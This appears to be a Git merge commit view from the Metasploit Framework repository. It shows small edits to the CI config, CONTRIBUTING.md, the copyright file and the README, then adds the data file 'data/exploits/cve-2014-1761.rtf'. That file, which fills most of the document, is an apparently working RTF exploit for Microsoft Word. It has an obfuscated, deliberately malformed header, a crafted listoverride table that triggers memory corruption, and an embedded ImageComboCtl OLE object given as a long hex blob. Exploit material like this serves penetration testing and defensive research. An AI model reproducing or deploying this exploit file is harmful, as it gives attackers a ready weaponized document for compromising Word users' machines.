Merge branch 'master' of github.com:hmoore-r7/metasploit-framework into feature/recog

Conflicts:
	Gemfile
	Gemfile.lock
	data/js/detect/os.js
	lib/msf/core/exploit/remote/browser_exploit_server.rb
bug/bundler_fix
HD Moore 2014-05-18 10:50:32 -05:00
commit a844b5c30a
585 changed files with 17844 additions and 22578 deletions

View File

@ -1,11 +1,15 @@
language: ruby
env: MSF_SPOTCHECK_RECENT=1
before_install:
- rake --version
- sudo apt-get update -qq
- sudo apt-get install -qq libpcap-dev
# Uncomment when we have fewer shipping msftidy warnings.
# Merge committers will still be checking, just not autofailing.
# See https://dev.metasploit.com/redmine/issues/8498
# - ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
# - ls -la ./.git/hooks
# - ./.git/hooks/post-merge
before_script:
- ./tools/msftidy.rb
- cp config/database.yml.travis config/database.yml
- bundle exec rake --version
- bundle exec rake db:create

View File

@ -1,14 +1,29 @@
# Contributing to Metasploit
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place! What you see here in CONTRIBUTING.md is a
bullet-point list of the do's and don'ts of how to make sure *your*
valuable contributions actually make it into Metasploit's master branch.
world -- a better place!
Are you about to report a bug? If so, please use our [Redmine Bug
Tracker](https://dev.metasploit.com/redmine/projects/framework). An
account is required but it only takes a minute or two.
Are you about to report a security vulnerability in Metasploit?
If so, please take a look at Rapid's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy.
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet-point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
If you care not to follow these rules, your contribution **will** be
closed (*Road House* style). Sorry!
Incidentally, this is a **short** list. The
This is intended to be a **short** list. The
[wiki](https://github.com/rapid7/metasploit-framework/wiki) is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup
@ -23,6 +38,7 @@ and Metasploit's [Common Coding Mistakes](https://github.com/rapid7/metasploit-f
### Pull Requests
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output](https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks), especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps](https://help.github.com/articles/writing-on-github#task-lists) so your code is testable.
@ -34,7 +50,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
#### New Modules
* **Do** run `tools/msftidy.rb` against your module and fix any errors or warnings that come up. Even better would be to set up `msftidy.rb` as a [pre-commit hook](https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb).
* **Do** use the [API](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** use the [many module mixin APIs](https://dev.metasploit.com/documents/api/). Wheel improvements are welcome; wheel reinventions, not so much.
* **Don't** include more than one module per pull request.
#### Library Code
@ -42,6 +58,7 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
* **Do** write [RSpec](http://rspec.info/) tests - even the smallest change in library land can thoroughly screw things up.
* **Do** follow [Better Specs](http://betterspecs.org/) - it's like the style guide for specs.
* **Do** write [YARD](http://yardoc.org/) documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
#### Bug Fixes
@ -50,8 +67,8 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940)
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software to security@rapid7.com.
* **Do** create a Redmine account and report your bug there.
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
* **Do** create a Redmine account and report your non-vulnerability bugs there.
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Don't** file duplicate reports - search for your bug before filing a new report.

View File

@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
Source: http://www.metasploit.com/
Files: *
Copyright: 2006-2013, Rapid7, Inc.
Copyright: 2006-2014, Rapid7, Inc.
License: BSD-3-clause
# The Metasploit Framework is provided under the 3-clause BSD license provided
@ -176,6 +176,10 @@ Files: arel
Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson
License: MIT
Files: bcrypt
Copyright: 2007-2011 Coda Hale
License: MIT
Files: builder
Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com)
License: MIT
@ -310,7 +314,7 @@ License: BSD-3-clause
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
.
* Neither the name of Rapid7, Inc nor the names of its contributors
* Neither the name of Rapid7, Inc. nor the names of its contributors
may be used to endorse or promote products derived from this software
without specific prior written permission.
.

View File

@ -24,10 +24,11 @@ The mailing list archives are available from:
Installing
--
Generally, you should use the installer which contains all dependencies
and will get you up and running with a few clicks. See the [Dev
Environment Setup][wiki-devenv] if you'd like to deal with dependencies
on your own.
Generally, you should use [the free installer](https://www.metasploit.com/download)
which contains all dependencies and will get you up and running with a
few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if
you'd like to deal with dependencies on your own.
Using Metasploit
--

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

183
data/exploits/cve-2014-1761.rtf Executable file
View File

@ -0,0 +1,183 @@
{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\*
sidtbl
{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\*
sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\*
si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\*
sidtbl
{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\*
sidtbl
sid8596814
sid8926214
sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25
{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}}
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'‰dY'ï¸X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}}
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBA„Y';}}}
{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'ÎÂX'ABCD;}}}
{\lfolevel}{\lfolevel}{\lfolevel}
\ls16962}}
{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000
4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000
d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c
bb4913f3cd010c000000000100000000000003005000520049004e005400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000e000201ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000
000000000000000002000000ae1000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000
0000000000000000000000000000060000000000000003004f00430058004e0041004d00450000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000201ffffffff04000000ffffffff000000000000000000000000000000000000000000000000
000000000000000000000000010000001a000000000000000800560aca0200000100090000035308000006008806000000008806000026060f00060d574d464301000000000001007ed80000000001000000e40c000000000000e40c0000010000006c0000000000000000000000630000001a0000000000000000000000
560a0000ca02000020454d4600000100e40c000038000000070000000000000000000000000000000004000000030000690100000f0100000000000000000000000000001c830500552204000c0000001000000000000000000000000a000000100000000000000000000000180000000c00000000000000190000000c00
0000ffffff00260000001c0000000100000000000000000000000000000000000000250000000c0000000100000027000000180000000200000000000000ffffff0000000000250000000c00000002000000520000007001000003000000f1ffffff00000000000000000000000090010000000000000000000043006100
6c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0550745f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c18
5f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000050000004e0000007f133f1320340000cad55b27a9705f76002de575009b5b27fa0366000000000003000000050000004e0000001000000054000000
0000df0503000000050000005100000015000000d57b5f76f59a5b27de094e00000000000000000000000000000000007c664e77106a24009d3948777c664e776476000800000000250000000c000000030000002b000000180000000000000000000000630000001a0000001e0000001800000000000000000000006400
00001b000000520000007001000004000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000000000000000000000000000000000000000000032002e0030005c0030005c007700
69006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e36264760000
0000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400e0638c7780f08f004600000000000000fa0366000000000000000000647600080000000025000000
0c00000004000000520000007001000005000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e0073002000530065007200690066000000000000000000000000000000000000000000000000000000000000000000000032002e00
30005c0030005c00770069006e0033003200000043002d003100f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76
f06a2400e362647600000000d46824008d885f7640692400f09f320010a032009cc724000bb44f7720a03200d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a17737122125c0c7240028c9240020c92400000000000400000000000000fcc7240064760008000000002500
00000c00000005000000250000000c00000003000000280000000c00000004000000280000000c00000005000000520000007001000005000000f1ffffff0000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600
0000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000985e
4877a87bad0600000000f400000030b7ea07d4b7ea070000df0500005f76f06a2400e362647600000000d46824008d885f7640692400e3626476b9a64bf1feffffffff705f76fc175f7680f08f0046000000000000000c185f7600000000000000001c00000054692400b86924002e648c774869240030000000f06a2400
e0638c7780f08f004600000000000000fa03660000000000000000006476000800000000250000000c00000005000000520000007001000004000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900
660000000000000000000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000430061006c006900620072006900000001000000cdabbadc0b000000d86a2400
0000ea07f4000000985e4877a87bad0600000000f400000030b7ea070000ea070000df0500005f76f06a2400e362647600000000d46824008d885f76406924007842ae069842ae069cc724000bb44f77a842ae06d89853770000200200002002efb0a1770400000000000000080c2002d8ec2002ccc7240068b2a1773712
2125c0c7240028c9240020c92400000000000400000000000000fcc724006476000800000000250000000c00000004000000250000000c000000030000005400000054000000000000000400000063000000150000000100000000040d4255250d42f7ffffff04000000010000004c000000000000000000000000000000
ffffffffffffffff500000002000000075000000160000000c00000001000000120000000c000000010000001b000000100000000000000000000000160000000c00000000000000250000000c0000000400000054000000540000000000000000000000ffffffffffffffff0100000000040d4255250d42f7ffffff0400
0000010000004c000000000000000000000000000000ffffffffffffffff500000000700000008000000520000007001000006000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e00730020005300650072006900660000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120000000000000000000000000000009001000000000000000000004d006900630072006f0073006f00660074002000530061006e007300200053006500720069006600000000000000
00000000000000000000000000000000000000000000000000000000a60600000000000000000000000000000000000000000000000000000000f1ffffff000000000000000000000000900100000000000000000000000061006c006900620072006900000001000000cdabbadc0b000000d86a24000000ea07f4000000
985e4877a87bad0600000000f400000030b7ea070000ea076476000800000000250000000c00000006000000250000000c00000004000000280000000c00000006000000250000000c0000000300000054000000a8000000000000000400000063000000150000000100000000040d4255250d42ffffffff040000000f00
00004c000000000000000000000000000000ffffffffffffffff6c00000049006d0061006700650043006f006d0062006f00430074006c00200031000000040000000c00000007000000070000000800000008000000080000000c000000080000000800000008000000050000000400000003000000070000001b000000
100000000000000000000000160000000c00000000000000120000000c00000002000000280000000c00000005000000280000000c000000040000004b000000100000000000000005000000250000000c0000000d000080250000000c00000000000080280000000c00000002000000250000000c000000070000802800
00000c00000001000000190000000c000000ffffff00180000000c000000000000000a0000001000000000000000000000000c000000100000000000000000000000090000001000000001000000010000000b0000001000000001000000010000000e000000140000000000000010000000140000000400000003010800
050000000b0200000000050000000c0214004b0005000000090200000000050000000102ffffff0008000000fa0200000000000000000000040000002d01000007000000fc020000ffffff000000040000002d0101001c000000fb02f1ff0000000000009001000000000000000043616c696272690001003f3f0b003f24
003ff4003f3f3f3f0000f4003f3f3f3f040000002d010200070000001b041b00640000000000040000002c0100000700000016041b006400000000001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d0103001c00
0000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020004000000f001030004000000f00104001c000000fb02f1ff000000000000900100000000000000004d6963726f736f66742053616e732053
65726966000000000000000000000000040000002d0103001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010400040000002d01020009000000320a0400f7ff0100000020007500040000002e01010004000000
0201010005000000140200000000040000002e010000040000002d01040009000000320a0400f7ff01000000070008001c000000fb021200000000000000900100000000000000004d6963726f736f66742053616e73205365726966000000000000000000000000040000002d010500040000002d01040004000000f001
0500040000002d0102001e000000320a0400ffff0f000000496d616765436f6d626f43746c20310004000c00070007000800080008000c000800080008000500040003000700040000002e010000040000000201020004000000f001030004000000f0010400040000002c0100001c000000fb021000070000000000bc02
000000000102022253797374656d003f00003f3f3f3f3f3f3f3f3f3f0800000001003f3f3f3f3f00040000002d01030007000000fc020000ffffff000000040000002d01040004000000f001010008000000fa0200000000000000000000040000002d01010004000000f0010000050000000102ffffff00050000000902
000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000fefffffffeffffff03000000feffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00920300040000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000049006d0061006700650043006f006d0062006f0031000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000560a0000ca0200000324a055
0000060044000000000000000000000001efcdab0000050000000000060000000800008005000080b0303a0310000000070049006d0061006700650043006f006d0062006f00430074006c0020003100000000001fdeecbd0100050040cf2400000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000043006f006e00740065006e007400
730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000000000000000000000000000020000007400000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001050000
050000000d0000004d45544146494c455049435400560a0000d7faffff8a0200000800560a29050000
0100090000034101000004001100000000001100000026060f001800ffffffff00001000b004000030fdffffcc0800004c0100000900000026060f000800ffffffff020000001000000026060f001600ffffffff04000e00544e50500700a8623d50390586000a00000026060f000a00544e505000000200f00309000000
26060f000800ffffffff030000000f00000026060f001400544e505004000c00010000000100000000000000050000000b0230fdb004050000000c021c041c0409000000fa02050000000000ffffff002200040000002d01000007000000fc020100000000000000040000002d01010009000000fa020600080000000000
00022200040000002d01020007000000fc020000ffffff020000040000002d010300050000000902ffffff020400000004010d00070000001b044c01cc0830fdb004050000000902ff003302040000002d010000040000002d01010004000000f001020004000000f0010300030000001e000700000016043400b4074efe
